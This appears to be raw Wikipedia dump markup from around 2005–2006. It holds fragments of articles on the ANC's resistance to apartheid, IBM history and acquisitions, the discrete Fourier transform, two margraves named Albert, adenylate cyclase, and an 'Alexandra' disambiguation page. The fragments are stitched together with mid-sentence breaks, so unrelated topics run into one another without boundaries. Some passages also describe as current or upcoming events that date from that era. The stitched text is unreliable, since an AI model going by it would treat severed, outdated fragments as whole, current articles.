Indian Congress]] and [[Transvaal Indian Congress]], broadening the basis of its opposition to the government. The return of an [[Afrikaner]]-led [[National Party (South Africa)|National Party]] government by the overwhelmingly white electorate in 1948 signaled the advent of the policy of [[History of South Africa in the Apartheid Era|apartheid]]. During the 1950s, non-whites were removed from electoral rolls, residence and mobility laws were tightened and political activities restricted. In June 1952, the ANC joined with other anti-apartheid organisations in a [[Defiance Campaign]] against the restriction of political, labour and residential rights, during which protesters deliberately violated oppressive laws, following the example of [[Mahatma Gandhi]]'s [[passive resistance]] in [[KwaZulu-Natal Province|Natal]] and [[India]]. The campaign was called off in April 1953 after new laws prohibiting protest meetings were passed. In June 1955, the [[Congress of the People]], organised by the ANC and Indian, Coloured and White organizations at Kliptown near [[Johannesburg]], adopted the [[Freedom Charter]], henceforth the fundamental document of the anti-apartheid struggle with its demand for equal rights for all regardless of race. As opposition to the regime's policies continued, 156 leading members of the ANC and allied organisations were arrested in 1956; the resulting &quot;[[Treason Trial]]&quot; ended with their acquittal five years later. In 1959, a number of members broke away from the ANC because they objected to the ANC's reorientation from [[African nationalist]] policies. They formed the rival [[Pan Africanist Congress]] (PAC), led by [[Robert Sobukwe]]. ===Protest and banning=== The ANC planned a campaign against the [[dompas|Pass Laws]], which required [[blacks]] to carry an [[identity card]] at all times to justify their presence in &quot;white&quot; areas, to begin on [[31 March]] [[1960]]. The PAC pre-empted the ANC by holding peaceful protests [[21 March|10 days earlier]], during which 69 protesters were killed and 180 injured by police fire in what became known as the [[Sharpeville massacre]]. In the aftermath of the tragedy, both organisations were banned from [[political dissent|political activity]]. The ANC subsequently went underground and increased their violent protest actions to include operations some have described as [[terrorism]]. International opposition to the regime increased throughout the 1950s and 1960s, fueled by the growing number of newly independent nations, the [[Anti-Apartheid Movement]] in Britain and the [[civil rights movement]] in the [[United States]]. In 1960, the leader of the ANC, [[Albert Lutuli]], won the [[Nobel Prize/Peace|Nobel Peace Prize]], a feat that would be repeated in 1993 by [[Nelson Mandela]]. ===Violent political resistance=== Now underground or in exile, the ANC leadership concluded that the methods of non-violence such as those utilised by [[Mahatma Gandhi|Gandhi]] again
;regardless of [[race]], color or creed&quot;. [[Sexual orientation]] was added to the nondiscrimination policy in [[1984]]. [[Genetic makeup]] was added in 2005. *IBM invented the [[USB flash drive]] in [[1998]] but did not [[patent]] it. *Whilst IBM did not invent the [[personal computer]], architectures cloned from its design for the IBM PC (which relied on third-party componentry) became the industry standard, and are now often simply called the ''PC''. The IBM PC was introduced on [[August 12]] [[1981]]; [[Microsoft]] and [[Intel]] became monopoly suppliers of two of the key components of PC-compatible systems. IBM sold its PC division to [[Lenovo]] in December 2004 and, when the sale is complete, will come out of the business of manufacturing / designing / selling PCs, the business which it created in 1981. *The IBM [[AS/400|iSeries minicomputer]] (in its 24-year history also variously known as System i5/OS, AS/400 and System/38) is the world's largest-selling computer family, if PC-type machines are excluded. It was the first successful 64-bit machine. It has been calculated that, if the [[IBM Rochester|Rochester, Minnesota facility]] that produces the machine were independent, it would be the third largest computer company in the world. * In [[2004]], for the twelfth consecutive year, IBM was awarded the greatest number of patents by the [[United States Patent and Trademark Office|USPTO]]. IBM received 3,248 patents that year. (Reference: [http://www.uspto.gov/web/offices/com/speeches/05-03.htm USPTO Releases Annual List of Top 10 Organizations Receiving Most U.S. Patents]) * If you step backward one letter in the alphabet for each letter of &quot;IBM&quot; you will arrive at &quot;HAL&quot;. Some think that this bears a striking similarity to the name of the fictional computer &quot;HAL&quot; featured in the Arthur C Clarke book and film &quot;2001, A Space Odyssey&quot;. * The &quot;[[ThinkPad]]&quot; name for its notebook computers was brought up after an IBM researcher went to a coffee break and took a notepad out which had the word &quot;THINK&quot; on it. Subsequently they conceived the idea of a small, portable tool which was able to read, write, work and think, which eventually turned out to be their first &quot;ThinkPad&quot; notebook computer back in 1992. == Acquisitions == * [[1889]] Bundy Manufacturing Company incorporated. * [[1891]] Computing Scale Company incorporated. * [[1893]] Dey Patents Company (Dey Time Registers) incorporated. * [[1894]] Willard &amp; Frick Manufacturing Company ([[Rochester, New York]]) incorporated. * [[1896]] Detroit Automatic Scale Company incorporated. * [[1896]] Tabulating Machine Company incorporated. * [[1899]] Standard Time Stamp Company acquired by Bundy Manufacturing Company. * [[1900]] Willard &amp; Frick Manufacturing Company (Rochester) acquired by [[International Time Recording Company]]. * [[1901]] Chicago Time-Register Company acquired by International Time Recording Company. * [[1901]] Dayton Moneyweight Scale Company acquired by Computing Scale Company. * [[1901]] Detroit Automatic Scale Company acquired by Computing Scale Company. * [[1902]] Bundy Manufacturing Company acquired by International Time Recording Company. * [[1907]] Dey Time Registers acquired by International Time Recording Company. * [[1908]] Syracuse Time Recording Company acquired by International Time Recording Company. * [[1911]] Computing Scale Company acquired by [[Computing-Tabulating-Recording Company]] (C-T-R). * [[1911]] International Time Recording Company acquired by Computing-Time-Recording Company (C-T-R). * [[1911]] Tabulating Machine Company acquired by Computing-Tabulating-Recording Company (C-T-R). * [[1917]] American Automatic Scale Company acquired by Computing-Tabulating-Recording Company (C-T-R) as International Scale Company. * [[1917]] C-T-R opens in Canada as International Business Machines Company Limited. * [[1921]] Pierce Accounting Machine Company (asset purchase). * [[1921]] Ticketograph Company (of Chicago). * [[1924]] C-T-R renamed International Business Machines Corporation. * [[1930]] Automatic Accounting Scale Company. * [[1932]] National Counting Scale Company. * [[1933]] Electromatic Typewriters Inc. (See: [[IBM Electromatic typewriter]]) * [[1941]] Munitions Manufacturing Corporation. * August, [[1959]] Pierce Wire Recorder Corporation. * [[1984]] ROLM. * [[1986]] RealCom Communications Corporation. * [[1995]] [[Lotus Development Corporation]] for $3.5 billion. * [[1996]] [[Tivoli Systems]] for $743 million. * [[1997]] [[Software Artistry]] for $200 million. * [[1997]] [[Unison Software]]. * [[1998]] CommQuest Technologies. * [[1999]] [[Mylex Corporation]]. * [[1999]] [[Sequent Computer Systems]] for $810 million. * [[2001]] [[Informix]] Software (a purchase of assets rather than a true acquisition) for $1.0 billion. * [[2001]] Mainspring Inc. for $80 million. * January, [[2002]] Crossworlds. * [[2002]] [[PricewaterhouseCoopers]]' Consulting for $3.5 billion (recalculated by IBM in August 2003 as $3.9 billion). *2003 ** March, [[Rational Software]] Corporation for $2.1 billion. ** July, [[Presence Online, Aptrix]]. ** October, CrossAccess. *2004 ** [[A.P. Moller-Maersk Group|Maersk]] Data &amp; DMData. ** March, Logicalis Australia (renamed to [http://www.cerulean.com.au Cerulean Solutions] in April 2005) and Logical CSI New Zealand. ** April, [[Candle Corporation|Candle Corp.]], [[Daksh eServices]] in India. ** July, [[Alphablox]]. ** July, Cyanea Systems. ** August, Venetica. ** October, Systemcorp. * 2005 ** February, Corio [[crio]] for $211 million. ** April, [[Ascential Software]] for approximately $1.1 billion in cash. ** May, [[Gluecode]]. ** July, [[PureEdge]]. ** August, [[DWL]]. ** October, [[DataPower]]. ** December, [[Bowstreet]]. ** December, [[Micromuse]] for $865 million. * 2006 ** January, [[Classic Blue]]. == Spinoffs == * [[1934]] Dayton Scale Division is sold to the [[Hobart Manufacturing Company]]. * [[1942]] Ticketograph Division is sold to the [[National Postal Meter Company]]. * [[1958]] Time Equipment Division is sold to the [[SimplexGrinnell|Simplex Time Recorder Company]]. * [[Taligent]], a joint software venture with [[Apple Computer]]. * [[Prodigy (ISP)|Prodigy]], formerly a joint venture with [[Sears]]. * [http://www.attbusiness.net AT&amp;T Business Internet], formerly IBM Global Network, formerly Advantis (joint venture with [[Sears]]). * ARDIS mobile packet network, a joint venture with [[Motorola]]. Now [http://www.motient.com Motient]. * [[1991]] [[Lexmark]] (keyboards, typewriters, and printers). IBM Retained a 10% interest. Lexmark has sold its keyboard and typewriter businesses. [http://www.printers.ibm.com IBM Printing Systems] now competes with Lexmark. * [[1996]] [http://www.celestica.com/ Celestica] Electronic Manufacturing Services (EMS). * [[2003]] [http://www.hitachigst.com Hitachi Global Storage Technologies] now provides many of the hardware storage devices formerly provided by IBM, including [[IBM Harddrives]] &amp; The [[Hitachi Microdrive|Microdrive]]. IBM continues to develop [http://ibm.com/storage storage systems], including [[Tape Drive|Tape Backup]], [[Storage software]], [[Enterprise storage]], etc. * [[December]], [[2004]] [[Lenovo]] acquires 90% interest in [[IBM Personal Systems Group]], 10,000 employees and $9 billion in revenue. == Projects == === BlueEyes === '''BlueEyes''' is the name of a human recognition venture initiated by IBM to allow people to interact with [[computer]]s in a more natural manner. The technology aims to enable devices to recognize and use natural input, such as facial expressions. The initial developments of this project include scroll [[computer mouse|mice]] and other input devices that sense the user's [[pulse]], monitor his or her facial expressions, and the movement of his or her eyelids. === alphaWorks === Free software available at [http://alphaWorks.ibm.com/ alphaWorks] (IBM's showcase for emerging software technology): #'''Flexible Internet Evaluation Report Architecture:''' A highly flexible architecture for the design, display, and reporting of Internet surveys. #'''History Flow Visualization Application:''' A tool for visualizing dynamic, evolving documents and the interactions of multiple collaborating authors. Examples from Wikipedia. [http://www.alphaworks.ibm.com/screenshots/16E98A61CB7178D488256FC70075E6CD/$FILE/historyflow01.jpg] [http://www.alphaworks.ibm.com/screenshots/4985F7ED629EE82D88256FC700764E11/$FILE/historyflow03.jpg] #'''IBM Performance Simulator for Linux on POWER:''' A tool that provides users of Linux on Power a set of performance models for IBM's POWER processors. #'''Database File Archive And Restoration Management:''' An application for archiving and restoring hard disk files whose file references are stored in a database. #'''Policy Management for Autonomic Computing:''' A policy-based autonomic management infrastructure that simplifies the automation of IT and business processes. (This is an ETTK technology.) #'''FairUCE:''' A spam filter that stops spam by verifying sender identity instead of filtering content. #'''Unstructured Information Management Architecture (UIMA) SDK:''' A Java SDK that supports the implementation, composition, and deployment of applications working with unstructured information. [http://www.alphaworks.ibm.com/tech/uima] === Gaming chips === IBM has also been developing processing chips for gaming consoles. The new [[Xbox 360]] contains IBM's new tri-core chipset, which at the request of [[Microsoft]] IBM was able to design and ramp up to production volumes in less than 24 months (albeit using contract manufacturing). Meanwhile, [[Sony]]'s [[PlayStation 3]] will feature the Cell, a new chip designed by IBM, [[Toshiba]] and Sony in a joint venture. (Toshiba plans to use it on HD TVs). It has been reported that the [[Nintendo Revolution]] will also feature an IBM chip, like the Revol
in [[Digital signal processing|signal processing]] and related fields to analyze the frequencies contained in a sampled [[signal (information theory)|signal]], solve [[partial differential equations]], and to perform other operations such as [[convolution]]s. The DFT can be computed efficiently in practice using a [[fast Fourier transform]] (FFT) algorithm. The sequence of ''N'' complex numbers ''x''&lt;sub&gt;0&lt;/sub&gt;, ..., ''x''&lt;sub&gt;''N''&amp;minus;1&lt;/sub&gt; are transformed into the sequence of ''N'' complex numbers ''X''&lt;sub&gt;0&lt;/sub&gt;, ..., ''X''&lt;sub&gt;''N''&amp;minus;1&lt;/sub&gt; by the DFT according to the formula: :&lt;math&gt;X_k = \sum_{n=0}^{N-1} x_n e^{-\frac{2 \pi i}{N} k n} \quad \quad k = 0, \dots, N-1&lt;/math&gt; where ''e'' is the [[e (mathematical constant)|base of the natural logarithm]], ''i'' is the [[imaginary unit]] (&lt;math&gt;i^2=-1&lt;/math&gt;), and &amp;pi; is [[Pi]]. The transform is sometimes denoted by the symbol &lt;math&gt;\mathcal{F}&lt;/math&gt;, as in &lt;math&gt;\mathbf{X} = \mathcal{F}(\mathbf{x})&lt;/math&gt; or &lt;math&gt;\mathcal{F} \mathbf{x}&lt;/math&gt;. The inverse discrete Fourier transform (IDFT) is given by :&lt;math&gt;x_n = \frac{1}{N} \sum_{k=0}^{N-1} X_k e^{\frac{2\pi i}{N} k n} \quad \quad n = 0,\dots,N-1.&lt;/math&gt; Note that the normalization factor multiplying the DFT and IDFT (here 1 and 1/''N'') and the signs of the exponents are merely conventions, and differ in some treatments. The only requirements of these conventions are that the DFT and IDFT have opposite-sign exponents and that the product of their normalization factors be 1/''N''. A normalization of &lt;math&gt;1/\sqrt{N}&lt;/math&gt; for both the DFT and IDFT makes the transforms [[unitary matrix|unitary]], which has some theoretical advantages, but it is often more practical in numerical computation to perform the scaling all at once as above (and a unit scaling can be convenient in other ways). (The convention of a negative sign in the exponent is often convenient because it means that &lt;math&gt;X_k&lt;/math&gt; is the amplitude of a &quot;positive frequency&quot; &lt;math&gt;2\pi k/N&lt;/math&gt;. Equivalently, the DFT is often thought of as a matched filter: when looking for a frequency of +1, one correlates the incoming signal with a frequency of &amp;minus;1.) In the following discussion the terms &quot;sequence&quot; and &quot;vector&quot; will be considered interchangeable. ==Properties== ===Completeness=== The discrete Fourier transform is an invertible, [[linear transformation]] :&lt;math&gt;\mathcal{F}:\mathbf{C}^N \to \mathbf{C}^N&lt;/math&gt; with '''C''' denoting the set of [[complex number|complex numbers]]. In other words, for any ''N''&amp;nbsp;&gt;&amp;nbsp;0, an ''N''-dimensional complex vector has a DFT and an IDFT which are in turn ''N''-dimensional complex vectors. === Orthogonality === The vectors exp(2&amp;pi;''i kn/N'') form an [[orthogonal]] basis over the set of ''N''-dimensional complex vectors: :&lt;math&gt;\sum_{n=0}^{N-1} \left(e^{ \frac{2\pi i}{N} kn}\right) \left(e^{-\frac{2\pi i}{N} k'n}\right) =N~\delta_{kk'} &lt;/math&gt; where &amp;delta;&lt;sub&gt;''kn''&lt;/sub&gt; is the [[Kronecker delta]]. === The Plancherel theorem and Parseval's theorem === If ''X''&lt;sub&gt;''k''&lt;/sub&gt; and ''Y''&lt;sub&gt;''k''&lt;/sub&gt; are the DFTs of ''x''&lt;sub&gt;''n''&lt;/sub&gt; and ''y''&lt;sub&gt;''n''&lt;/sub&gt; respectively then we have the [[Plancherel theorem]]: :&lt;math&gt;\sum_{n=0}^{N-1} x_n y^*_n = \frac{1}{N} \sum_{k=0}^{N-1} X_k Y^*_k&lt;/math&gt; where the star denotes complex conjugation. [[Parseval's theorem]] is a special case of the Plancherel theorem and states: :&lt;math&gt;\sum_{n=0}^{N-1} |x_n|^2 = \frac{1}{N} \sum_{k=0}^{N-1} |X_k|^2.&lt;/math&gt; ===The shift theorem=== Multiplying &lt;math&gt;x_n&lt;/math&gt; by a ''linear phase'' &lt;math&gt;\exp(2\pi i n m/N)&lt;/math&gt; for some integer &lt;math&gt;m&lt;/math&gt; corresponds to a ''circular shift'' of the output &lt;math&gt;X_k&lt;/math&gt;: &lt;math&gt;X_k&lt;/math&gt; is replaced by &lt;math&gt;X_{k-m}&lt;/math&gt;, where the subscript is interpreted [[modulo]] &lt;math&gt;N&lt;/math&gt; (i.e. periodically). Similarly, a circular shift of the input &lt;math&gt;x_n&lt;/math&gt; corresponds to multiplying the output &lt;math&gt;X_k&lt;/math&gt; by a linear phase. Mathematically, if &lt;math&gt;\{x_n\}&lt;/math&gt; represents the vector '''x''' then :if &lt;math&gt;\mathcal{F}(\{x_n\})_k=X_k&lt;/math&gt; :then &lt;math&gt;\mathcal{F}(\{ x_n e^{\frac{2\pi i}{N}n m} \})_k=X_{k-m}&lt;/math&gt; :and &lt;math&gt;\mathcal{F}(\{x_{n-m}\})_k=X_k e^{-\frac{2\pi i}{N}k m}&lt;/math&gt; === Periodicity === It is shown in the [[Discrete-time Fourier transform]] (DTFT) article that the Fourier transform of a discrete time sequence is periodic. A finite length sequence is just a special case. I.e., it is an infinite sequence of zeros containing a region (aka ''window'') in which non-zero values may occur. So &lt;math&gt;X(\omega)\,&lt;/math&gt;, the DTFT of the finite sequence &lt;math&gt;x[n]\,&lt;/math&gt;, is periodic. Not surprisingly, the DFT is periodic; e.g. &lt;math&gt;X[k+N] = X[k]\,&lt;/math&gt;. Less obvious, perhaps, is that the inverse DFT is also periodic; e.g., &lt;math&gt;x[n+N] = x[n]\,&lt;/math&gt;. It is a ''periodically extended'' version of the finite sequence. The DTFT of the periodically extended sequence is zero-valued except at the discrete set of frequencies sampled by the DFT. I.e., it is effectively identical to the DFT. The DTFT of the finite sequence has other non-zero values, but it is still identical to the DFT at the frequencies sampled by the DFT. So the approximation error of &lt;math&gt;X[k]\,&lt;/math&gt;, as an approximation to &lt;math&gt;X(\omega)\,&lt;/math&gt;, lies in the missing non-zero values, not in the &lt;math&gt;X[k]\,&lt;/math&gt; coefficients. In terms of the inverse DFT, that approximation error becomes the periodic extension of the finite sequence. * Commonly, &lt;math&gt;x[n]\,&lt;/math&gt; is a modification of a longer, perhaps infinite, sequence, whose DTFT is only approximated by &lt;math&gt;X(\omega)\,&lt;/math&gt;. In that case, of course, &lt;math&gt;X[k]\,&lt;/math&gt; too is only an approximation to [samples of] the original DTFT. * The shift theorem, above, is also an expression of the implicit periodicity of the inverse DFT, because it shows that the DFT amplitudes &lt;math&gt;|X[k]|\,&lt;/math&gt; are unaffected by a circular (periodic) shift of the inputs, which is simply a choice of [[origin]] and therefore only affects the phase. Periodic boundary conditions play an important role in many applications of the DFT. When solving [[differential equation]]s they allow periodic boundary conditions to be automatically satisfied, and thus can be a useful property. See also the ''applications'' section below. === Aliasing === Clearly a discrete-time sequence cannot preserve as much detail as a continuous-time function. The frequency domain manifestation of that fact is the periodicity of &lt;math&gt;X(\omega)\,&lt;/math&gt; and &lt;math&gt;X[k]\,&lt;/math&gt;, vs. the unlimited uniqueness of a [[continuous Fourier transform | continuous time Fourier transform]]. The fact that a particular frequency component appears periodically at &lt;math&gt;k\,&lt;/math&gt;, &lt;math&gt;k\pm N&lt;/math&gt;, &lt;math&gt;k\pm 2N&lt;/math&gt;, etc. only tells us the possible frequencies of the original source. Usually only one of them is the original, and the rest are appropriately called [[aliasing | aliases]]. Collateral information is generally needed to interpret the ambiguity (analogous to interpreting the two roots of a quadratic equation). An example of collateral information is that the &lt;math&gt;x[n]\,&lt;/math&gt; sequence represents the digitized output of a lowpass [[anti-aliasing filter]]. A time-domain representation of the frequency components listed above is''':''' :&lt;math&gt;x[n] = e^{j \frac{2\pi}{N}(k + L\cdot N)n}\,&lt;/math&gt;, &lt;math&gt;L=0\,&lt;/math&gt;, &lt;math&gt;\pm 1\,&lt;/math&gt;, &lt;math&gt;\pm 2\,&lt;/math&gt;, etc. All values of &lt;math&gt;L\,&lt;/math&gt; produce the same &lt;math&gt;x[n]\,&lt;/math&gt; sequence. It is impossible to determine just from the sequence what the original &lt;math&gt;L\,&lt;/math&gt;-value was. So the DFT reveals them all, just as the quadratic formula reveals the ambiguous roots of an equation. ===[[Circular convolution]] theorem and cross-correlation theorem=== The cyclic convolution '''x'''*'''y''' of the two vectors '''x''' = ''x&lt;sub&gt;k&lt;/sub&gt;''&amp;nbsp; and '''y''' = ''y&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp; is the vector '''x'''*'''y''' with components :&lt;math&gt;(\mathbf{x*y})_n = \sum_{m=0}^{N-1} x_m y_{n-m} \quad \quad n = 0,\dots,N-1&lt;/math&gt; where we continue '''y''' cyclically so that :&lt;math&gt;y_{-m} = y_{N-m}\quad\quad~~~~~~~~~~ m = 0, ..., N-1&lt;/math&gt; The discrete Fourier transform turns cyclic convolutions into component-wise multiplication. That is, if &lt;math&gt;z_n = (\mathbf{x*y})_n&lt;/math&gt; then :&lt;math&gt;Z_k=X_k Y_k \quad \quad~~~~~~~~~~ k = 0,\dots,N-1&lt;/math&gt; where capital letters (''X'', ''Y'', ''Z'') represent the DFTs of sequences represented by small letters (''x'', ''y'', ''z''). Note that if a different normalization convention is adopted for the DFT (e.g., the unitary normalization), then there will in general be a constant factor multiplying the above relation. The direct evaluation of the convolution summation, above, would require &lt;math&gt;O(N^2)&lt;/math&gt; operations, but the DFT (via an FFT) provides an &lt;math&gt;O(N\log N)&lt;/math&gt; method to compute the same thing. Conversely, convolutions can be used to efficiently compute DFTs via [[Rader's FFT algorithm]] and [[Bluestein's FFT algorithm]].
City</username> <id>138511</id> </contributor> <minor /> <comment>/* References */</comment> <text xml:space="preserve">'''Albert''' or '''Albrecht''' ([[March 28]] [[1522]]-[[1557]]), prince of [[Bayreuth]], ([[Germany]]), surnamed '''the Warlike''', and also '''Alcibiades''', was a son of [[Kasimir, Margrave of Bayreuth]], and a member of the [[Franconia|Franconian]] branch of the [[Hohenzollern]] family. He was born at [[Ansbach]] and having lost his father in 1527 he came under the guardianship of his uncle George, prince of Ansbach, a strong adherent of [[Protestantism]]. In 1541 he received Bayreuth as his share of the family lands, and as the chief town of his principality was [[Kulmbach]] he is sometimes referred to as the margrave of Brandenburg-Kulmbach. His restless and turbulent nature marked him out for a military career; and having collected a small band of soldiers, he assisted the emperor [[Charles V, Holy Roman Emperor|Charles V]] in his war with France in 1543. The [[Peace of Crepy]] in September 1544 deprived him of this employment, but he had won a considerable reputation, and when Charles was preparing to attack the [[Schmalkaldic League]], he took pains to win Albert's assistance. Sharing in the attack on the Saxon electorate, Albert was taken prisoner at [[Rochlitz]] in March 1547 by [[John Frederick, Elector of Saxony]], but was released as a result of the emperor's victory at the [[Battle of Mühlberg]] in the succeeding April. He then followed the fortunes of his friend [[Maurice of Saxony]], deserted Charles, and joined the league which proposed to overthrow the emperor by an alliance with [[Henry II of France]]. He took part in the subsequent campaign, but when the [[Peace of Passau]] was signed in August 1552 he separated himself from his allies and began a crusade of plunder in [[Franconia]]. Having extorted a large sum of money from the citizens of [[Nuremberg]], he quarrelled with his supporter, the French king, and offered his services to the emperor. Charles, anxious to secure such a famous fighter, gladly assented to Albert's demands and gave the imperial sanction to his possession of the lands taken from the bishops of [[Würzburg]] and [[Bamberg]]; and his conspicuous bravery was of great value to the emperor on the retreat from [[Metz]] in January 1553. When Charles left Germany a few weeks later, Albert renewed his depredations in Franconia. These soon became so serious that a league was formed to crush him, and Maurice of Saxony led an army against his former comrade. The rival forces met at Sievershausen on [[July 9]] [[1553]], and after a combat of unusual ferocity Albert was put to flight. Henry II, duke of Brunswick, then took command of the troops of the league, and after Albert had been placed under the imperial ban in December 1553 he was defeated by Duke Henry, and compelled to flee to France. He there entered the service of Henry II of France and had undertaken a campaign to regain his lands when he died at [[Pforzheim]] on [[January 8]] [[1557]]. He is defined by [[Carlyle]] &quot;a failure of a Fritz,&quot; with &quot;features&quot; of a Frederick the Great in him, &quot;but who burnt away his splendid qualities as a mere temporary shine for the able editors, and never came to anything, full of fire, too much of it wildfire, not in the least like an Alcibiades except in the change of fortune he underwent&quot;. ==References== *{{1911}} [[Category:1522 births|Warlike, Albert the]] [[Category:1557 deaths|Warlike, Albert the]] [[Category:House of Hohenzollern]] [[de:Albrecht Alcibiades von Brandenburg-Kulmbach]]</text> </revision> </page> <page> <title>Albert I of Brandenburg</title> <id>1509</id> <revision> <id>36476681</id> <timestamp>2006-01-24T08:16:25Z</timestamp> <contributor> <username>Kmorozov</username> <id>238736</id> </contributor> <comment>add cat</comment> <text xml:space="preserve">[[Image:Adalbertus Siegel.JPG|thumb|175px|left|The seal of Albert I]]'''Albert I''' (c. 1100-1170), [[Margrave]] of [[Brandenburg]], also called, '''The Bear''' (Ger: '''Albrecht der Bär'''), was the only son of Otto the Rich, count of [[Ballenstedt]], and [[Eilika of Saxony|Eilika]], daughter of [[Magnus, Duke of Saxony|Magnus Billung]], [[Rulers of Saxony|Duke of Saxony]]. He inherited the valuable estates in northern Saxony of his father in [[1123]], and on his mother's death, in [[1142]], succeeded to one-half of the lands of the house of [[Billung]]. [[Image:Albrecht gesamt.JPG|thumb|Monument commemorating Albrecht, [[Spandau|Spandau Citadel]], Berlin]] Albrecht was a loyal [[vassal]] of his relation, [[Lothair II, Holy Roman Emperor|Lothar I, duke of Saxony]], from whom, about [[1123]], he received the margravate of [[Lusatia]], to the east; after Lothar became king of the Germans, he accompanied him on a disastrous expedition to [[Bohemia]] in [[1126]], when he suffered a short imprisonment. Albert's entanglements in Saxony stemmed from his desire to expand his inherited estates there. In [[1128]] his brother-in-law, Henry II, who was margrave of a small area on the Elbe called the Saxon [[Northern March]], died, and Albert, disappointed at not receiving this fief himself, attacked Udo, the heir, and was consequently deprived of Lusatia by Lothar. In spite of this, he went to [[Italy]] in [[1132]] in the train of the king, and his services there were rewarded in [[1134]] by the investiture of the North Mark, which was again without a ruler. Once he was firmly established in the[[ Nordmark]], Albert's covetous eye lay also on the thinly populated lands to the north and east. Three years he was occupied in campaigns against the Slavic [[Wends]], who as pagans were considered fair game, and whose subjugation to Christianity was the aim of the &quot;Wendish crusade&quot; of 1147 in which Albert took part; diplomatic measures were more successful, and by an arrangement made with [[Pribislav]], the last of the Wendish dukes of Brandenburg, Albert secured this district when the duke died in [[1150]]. Taking the title &quot;Margrave of Brandenburg&quot;, he pressed the &quot;crusade&quot; against the Wends, extended the area of his mark, encouraged German migration, established bishoprics under his protection, and so became the founder of the [[Margraviate]] of Brandenburg in [[1157]], which his heirs&amp;mdash;the [[Ascanian]]s&amp;mdash;held until the line died out in 1320. In [[1137]] his cousin and nemesis, [[Henry II, Duke of Saxony|Henry the Proud]] was deprived by the Hohenstaufen [[Conrad III of Germany|Conrad III, King of the Germans]] of his Saxon duchy, which was awarded to Albert, if he could take it. After some initial success in his efforts to take possession, he was driven from Saxony, and also from his Nordmark by Henry, and compelled to take refuge in South Germany. When peace was made with Henry in [[1142]] Albert renounced the Saxon dukedom and received the counties of [[Weimar]] and [[Orlamunde|Orlamünde]]. It was possibly at this time that Albert was made Arch-Chamberlain of the Empire, an office which afterwards gave the Margraves of Brandenburg the rights of a [[prince-elector]]. A feud with Henry's son, [[Henry the Lion]], Duke of Saxony, was interrupted, in [[1158]], by a pilgrimage to the Holy Land, and in [[1162]] Albert accompanied the Emperor [[Frederick Barbarossa]] to [[Italy]], where he distinguished himself at the storming of [[Milan]]. In [[1164]] he joined a league of princes formed against Henry the Lion, and peace being made in [[1169]], Albert divided his territories among his six sons, and died on [[November 13]] [[1170]], and was buried at Ballenstedt. His personal qualities won for him the surname of ''the Bear,'' &quot;not from his looks or qualities, for he was a tall handsome man, but from the cognisance on his shield, an able man, had a quick eye as well as a strong hand, and could pick what way was straightest among crooked things, was the shining figure and the great man of the North in his day, got much in the North and kept it, got Brandenburg for one there, a conspicuous country ever since,&quot; says [[Thomas Carlyle|Carlyle]], who called Albert &quot;a restless, much-managing, wide- warring man.&quot; He is also called by later writers &quot;the Handsome.&quot; ==Family and children== He was married in [[1124]] to [[Sofie of Winzenburg]] (d. [[25 March]] [[1160]]) and they had the following children: # [[Otto I, Margrave of Brandenburg]] (1126/28 &amp;ndash; [[7 March]] [[1184]]). # Count [[Hermann I of Orlamünde]] (d. 1176). # Siegfried (d. [[24 October]] [[1184]]), [[Bishop of Brandenburg]] in 1173-80, [[Archbishop of Bremen]] in 1180-84. # Heinrich (d. 1185), a canon in [[Magdeburg]]. # Count [[Albrech of Ballenstedt]] (d. after [[6 December]] [[1172]]). # Count [[Dietrich of Werben]] (d. after [[5 September]] [[1183]]). # Count [[Bernhard of Anhalt]] (1140 &amp;ndash; [[9 February]] [[1212]]), [[Duke of Saxony]] in 1180-1212 as Bernard III. # Hedwig (d. 1203), married to [[Otto, Margrave of Meißen]]. # Daughter, married ca. 1152 to [[Vladislav of Bohemia]]. # Adelheid (d. 1162), a nun in [[Lamspringe]]. # Gertrude, married 1155 to Duke [[Diepold of Moravia]]. # Sybille (d. ca. 1170), Abbess of [[Quedlinburg]]. # Eilika ==External links== *[http://www.underthesun.cc/Classics/Carlyle/Friedrich/Friedrich14.html Thomas Carlyle, ''History of Friedrich ii''] Chapter iv: Albert the Bear *[http://www.kessler-web.co.uk/History/KingListsEurope/GermanyBrandenburg.htm Brandenburg:] table of rulers {{start box}} {{succession box| before=[[Henry II, Duke of Saxony|Henry II]]| title=[[Rulers of Saxony|Duke of Saxony]]| years=1138&amp;ndash;1142| after=[[Henry the Lion|Henry III]]}} {{succession box| before=New creation| title=[[Elector of Brandenburg|Margrave of Brandenbu
, which are coupled to membrane receptors and thus can respond to hormonal or other stimuli. There are nine known adenylate cyclases in [[mammal]]s. ==Structure== Adenylate cyclase is a trans[[membrane]] protein. It passes through the [[plasma membrane]] twelve times. The important parts for its function are located in the [[cytoplasm]]ic N- and C-termini, as well as in the ''C1 domain'', a large loop between transmembrane helices six and seven which also extends into the cytoplasm. [[image:adenylate_kinase.png|thumb|400px|left|The reaction that Adenylate Cyclase cataylazes is the conversion of ATP to cAMP]] ==Regulation== Adenylate cyclase is stimulated by [[G protein]]s, and by [[forskolin]], as well as other class-specific substrates. The classes I, III and VIII are also regulated by [[calcium|Ca&lt;sup&gt;2+&lt;/sup&gt;]]/[[calmodulin]]. In [[neuron]]s, adenylate cyclases are located next to calcium [[ion channel]]s for faster reaction to Ca&lt;sup&gt;2+&lt;/sup&gt; influx; they are suspected of playing an important role in learning processes. This is supported by the fact that adenylate cyclases are ''coincidence detectors'', meaning that they are only activated by several different signals occurring together. [[Category:EC 4.6.1]] [[de:Adenylylcyclase]] [[ja:アデニル酸シクラーゼ]] [[it:Adenil-ciclasi]]</text> </revision> </page> <page> <title>Alexandra</title> <id>2529</id> <revision> <id>42064522</id> <timestamp>2006-03-03T15:45:46Z</timestamp> <contributor> <ip>132.24.126.26</ip> </contributor> <comment>revert (vandalism)</comment> <text xml:space="preserve">'''Alexandra''' can refer to: * [[Doris Nefedov]], a German singer who performed under the stage name &quot;Alexandra&quot; * [[Alexandra of Hesse]], consort of Tsar Nicholas II of Russia * [[Alexandra of Denmark]], consort of King Edward VII of the UK * [[Alexandra, New Zealand]], town on the South Island * [[Alexandra, South Africa]], township near Johannesburg * [[Alexandra, Victoria]], a rural town in Australia * [[Alexandra Maria Lara]] * Another name for [[Cassandra]]. ==See also== *[[Alexandria]] {{disambig}} [[de:Alexandra]] [[hu:Alexandra]] [[pl:Aleksandra]] [[sk:Alexandra]] [[sl:Aleksandra]] [[sv:Alexandra]]</text> </revision> </page> <page> <title>Autoeroticism/History1</title> <id>2531</id> <revision> <id>26277339</id> <timestamp>2005-10-23T15:31:26Z</timestamp> <contributor> <username>Taxwoman</username> <id>375799</id> 